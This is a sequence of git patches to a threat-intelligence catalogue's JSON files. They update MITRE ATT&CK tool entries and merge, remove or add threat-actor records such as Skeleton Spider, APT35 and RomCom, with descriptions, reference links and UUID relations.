"mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0096", "https://technet.microsoft.com/en-us/library/bb491007.aspx" + ], + "synonyms": [ + "systeminfo.exe", + "Systeminfo" ] }, "related": [ @@ -1901,9 +1900,18 @@ "description": "[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)", "meta": { "external_id": "S0097", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0097", "https://technet.microsoft.com/en-us/library/bb490968.aspx" + ], + "synonyms": [ + "ping.exe", + "Ping" ] }, "related": [ @@ -1919,7 +1927,7 @@ "value": "Ping - S0097" }, { - "description": "[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", + "description": "[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", "meta": { "external_id": "S0099", "mitre_platforms": [ @@ -1943,13 +1951,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "30489451-5886-4c46-90c9-0dff9adc5252", @@ -2014,9 +2015,15 @@ "description": "[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)", "meta": { "external_id": "S0116", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0116", "https://github.com/hfiref0x/UACME" + ], + "synonyms": [ + "UACMe" ] }, "related": [ @@ -2069,10 +2076,16 @@ "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)", "meta": { "external_id": "S0191", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0191", "https://github.com/skalkoto/winexe/", "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + ], + "synonyms": [ + "Winexe" ] }, "related": [ @@ -2098,9 +2111,15 @@ "description": "[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)", "meta": { "external_id": "S0123", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/", "https://attack.mitre.org/software/S0123" + ], + "synonyms": [ + "xCmd" ] }, "related": [ @@ -2125,8 +2144,8 @@ "refs": [ "https://attack.mitre.org/software/S0521", "https://github.com/BloodHoundAD/BloodHound", - "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" ], "synonyms": [ "BloodHound" @@ -2656,9 +2675,15 @@ "description": "[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)", "meta": { "external_id": "S0193", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0193", "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)" + ], + "synonyms": [ + "Forfiles" ] }, "related": [ @@ -2746,9 +2771,15 @@ "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)", "meta": { "external_id": "S0174", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0174", "https://github.com/SpiderLabs/Responder" + ], + "synonyms": [ + "Responder" ] }, "related": [ @@ -3031,8 +3062,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/software/S0581", - "https://unit42.paloaltonetworks.com/ironnetinjector/" + " https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://attack.mitre.org/software/S0581" ], "synonyms": [ "IronNetInjector" @@ -3207,9 +3238,17 @@ "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", "meta": { "external_id": "S0224", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0224", "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + ], + "synonyms": [ + "Havij" ] }, "related": [ @@ -3228,9 +3267,17 @@ "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", "meta": { "external_id": "S0225", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "http://sqlmap.org/", "https://attack.mitre.org/software/S0225" + ], + "synonyms": [ + "sqlmap" ] }, "related": [ @@ -3776,7 +3823,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0552", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" ], @@ -3872,368 +3919,24 @@ "uuid": "03c6e0ea-96d3-4b23-9afb-05055663cf4b", "value": "RemoteUtilities - S0592" }, - { - "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)", - "meta": { - "external_id": "S0692", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0692", - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html" - ], - "synonyms": [ - "SILENTTRINITY" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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} - ], - "uuid": "1244e058-fa10-48cb-b484-0bcf671107ae", - "value": "SILENTTRINITY - S0692" - }, { "description": "[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)", "meta": { "external_id": "S0298", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", "https://attack.mitre.org/software/S0298" + ], + "synonyms": [ + "Xbot" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4254,7 +3957,7 @@ "type": "similar" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4275,7 +3978,7 @@ "type": "similar" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4296,7 +3999,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0363", - "https://github.com/PowerShellEmpire/Empire", + "https://github.com/EmpireProject/Empire", "https://github.com/dstepanic/attck_empire", "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" ], @@ -5238,110 +4941,6 @@ "uuid": "981acc4c-2ede-4b56-be6e-fa1a75f37acf", "value": "Nltest - S0359" }, - { - "description": "[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)", - "meta": { - "external_id": "S0683", - "mitre_platforms": [ - "Containers" - ], - "refs": [ - "https://attack.mitre.org/software/S0683", - "https://github.com/inguardians/peirates" - ], - "synonyms": [ - "Peirates" - ] - }, - "related": [ - { - "dest-uuid": "0470e792-32f8-46b0-a351-652bc35e9336", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8565825b-21c8-4518-b75e-cbc4c717a156", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "79dd477a-8226-4b3d-ad15-28623675f221", - "value": "Peirates - S0683" - }, { "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)", "meta": { @@ -5563,65 +5162,6 @@ "uuid": "f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "value": "Wevtutil - S0645" }, - { - "description": "[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)", - "meta": { - "external_id": "S0684", - "refs": [ - "https://attack.mitre.org/software/S0684", - "https://github.com/dirkjanm/ROADtools" - ], - "synonyms": [ - "ROADTools" - ] - }, - "related": [ - { - "dest-uuid": "16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", - "value": "ROADTools - S0684" - }, { "description": "[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)", "meta": { @@ -5781,400 +5321,7 @@ ], "uuid": "c4810609-7da6-48ec-8057-1b70a7814db0", "value": "CrackMapExec - S0488" - }, - { - "description": "[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)", - "meta": { - "external_id": "S0695", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0695", - "https://github.com/TheWover/donut", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://thewover.github.io/Introducing-Donut/" - ], - "synonyms": [ - "Donut" - ] - }, - "related": [ - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a7b5df47-73bb-4d47-b701-869f185633a6", - "value": "Donut - S0695" - }, - { - "description": "[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. 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[Mythic](https://attack.mitre.org/software/S0699) is designed to \"plug-n-play\" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)", - "meta": { - "external_id": "S0699", - "mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "refs": [ - "https://attack.mitre.org/software/S0699", - "https://docs.mythic-c2.net/", - "https://github.com/its-a-feature/Mythic", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://posts.specterops.io/a-change-of-mythic-proportions-21debeb03617" - ], - "synonyms": [ - "Mythic" - ] - }, - "related": [ - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - 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], - "type": "uses" - }, - { - "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", - "value": "Mythic - S0699" } ], - "version": 25 + "version": 26 } From 5801bbcfc1496246b58321088c12648f289731ee Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 2 Nov 2022 17:38:07 -0700 Subject: [PATCH 143/167] [threat-actors] Remove Skeleton Spider duplicate --- clusters/threat-actor.json | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..84a7ea5 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3399,7 +3399,8 @@ "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "https://attack.mitre.org/groups/G0037/", "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", - "http://www.secureworks.com/research/threat-profiles/gold-franklin" + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" ], "synonyms": [ "SKELETON SPIDER", @@ -3418,6 +3419,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "1cdbbcab-903a-414d-8eb0-439a97343737", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "647894f6-1723-4cba-aba4-0ef0966d5302", @@ -6711,16 +6719,6 @@ "uuid": "6e899dd4-f95e-42a0-a5a3-e57249f017cf", "value": "Flash Kitten" }, - { - "description": "According to CrowdStrike, this actor is using FrameworkPOS, potentially buying access through Dridex infections.", - "meta": { - "refs": [ - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" - ] - }, - "uuid": "998b0a78-ff3e-4928-802f-b42e3f5cf491", - "value": "SKELETON SPIDER" - }, { "description": "According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.", "meta": { From e3e5560e3741f181bd6efd80a77c25169d472c6e Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 2 Nov 2022 17:57:47 -0700 Subject: [PATCH 144/167] [threat-actors] Remove subaat duplicate --- clusters/threat-actor.json | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..f75bda0 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5810,16 +5810,6 @@ "uuid": "a3cc5105-3bc6-498b-8d53-981e12d86909", "value": "The Big Bang" }, - { - "description": "In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/" - ] - }, - "uuid": "a7bc4ef2-971a-11e8-9bf0-13aa7d6d8651", - "value": "Subaat" - }, { "description": "Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.", "meta": { From 9f0869097a110e5a9ca2665625e94d27295b793f Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 2 Nov 2022 18:09:20 -0700 Subject: [PATCH 145/167] [threat-actors] Remove cobalt dickens duplicate --- clusters/threat-actor.json | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..1cfaace 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6210,20 +6210,6 @@ "uuid": "bea5e256-bcc0-11e8-a478-bbf7e7585a1e", "value": "Unnamed Actor" }, - { - "description": "”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/iranian-hackers-charged-in-march-are-still-actively-phishing-universities/", - "https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/" - ], - "synonyms": [ - "Cobalt Dickens" - ] - }, - "uuid": "6c79bd1a-bfde-11e8-8c33-db4d9968671a", - "value": "COBALT DICKENS" - }, { "description": "Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.", "meta": { From 21d4292faf1e0269dbd83efe5224ed918e3771bf Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 2 Nov 2022 23:31:31 -0700 Subject: [PATCH 146/167] [threat-actors] Remove DustStorm alias from APT10 --- clusters/threat-actor.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..7ca7ffc 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -100,6 +100,7 @@ "value": "Nitro" }, { + "description": "Threat actors behind the Operation Dust Storm have been active since at least 2010, the hackers targeted several organizations in Japan, South Korea, the US, Europe, and other Asian countries.", "meta": { "refs": [ "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", @@ -871,6 +872,7 @@ "value": "APT27" }, { + "description": "menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.", "meta": { "attribution-confidence": "50", "cfr-suspected-state-sponsor": "China", @@ -921,7 +923,6 @@ "Menupass Team", "happyyongzi", "POTASSIUM", - "DustStorm", "Red Apollo", "CVNX", "HOGFISH", From 8a9dd47f8f27bc10759e4917e1c246b0c7a35940 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Wed, 2 Nov 2022 23:48:51 -0700 Subject: [PATCH 147/167] [threat-actors] Add Phosphorus in APT35 aliases --- clusters/threat-actor.json | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..2633df1 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1644,7 +1644,6 @@ "Parastoo", "iKittens", "Group 83", - "Newsbeef", "NewsBeef", "G0058" ] @@ -5588,13 +5587,15 @@ "https://www.cfr.org/interactive/cyber-operations/magic-hound", "https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", - "https://www.cfr.org/cyber-operations/apt-35" + "https://www.cfr.org/cyber-operations/apt-35", + "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", + "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" ], "synonyms": [ - "APT 35", "Newscaster Team", "Magic Hound", - "G0059" + "G0059", + "Phosphorus" ] }, "related": [ From 9ac53e5d5e5d02823ae60c9f05c969e192aefdea Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Fri, 4 Nov 2022 02:34:10 +0000 Subject: [PATCH 148/167] Add RomCom TA. --- clusters/threat-actor.json | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 0a0b740..767fd4b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9859,7 +9859,18 @@ }, "uuid": "6a83b2bf-0c51-4c9b-89b0-35df7cab1dd5", "value": "APT-Q-12" + }, + { + "description": "RomCom", + "meta": { + "refs": [ + "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass", + "https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries" + ] + }, + "uuid": "ba9e1ed2-e142-48d0-a593-f73ac6d59ccd", + "value": "RomCom" } ], - "version": 250 + "version": 251 } From d020efd276db943f2344b8e533974b94253becd3 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 15 Nov 2022 11:57:10 +0100 Subject: [PATCH 149/167] add raspberry Robin worm & others --- clusters/banker.json | 8 +++-- clusters/malpedia.json | 3 +- clusters/ransomware.json | 3 +- clusters/rat.json | 7 ++++ clusters/threat-actor.json | 23 ++++++++++++ clusters/tool.json | 73 ++++++++++++++++++++++++++++++++++++-- 6 files changed, 111 insertions(+), 6 deletions(-) diff --git a/clusters/banker.json b/clusters/banker.json index 3cbacec..38a2f19 100644 --- a/clusters/banker.json +++ b/clusters/banker.json @@ -890,7 +890,11 @@ "refs": [ 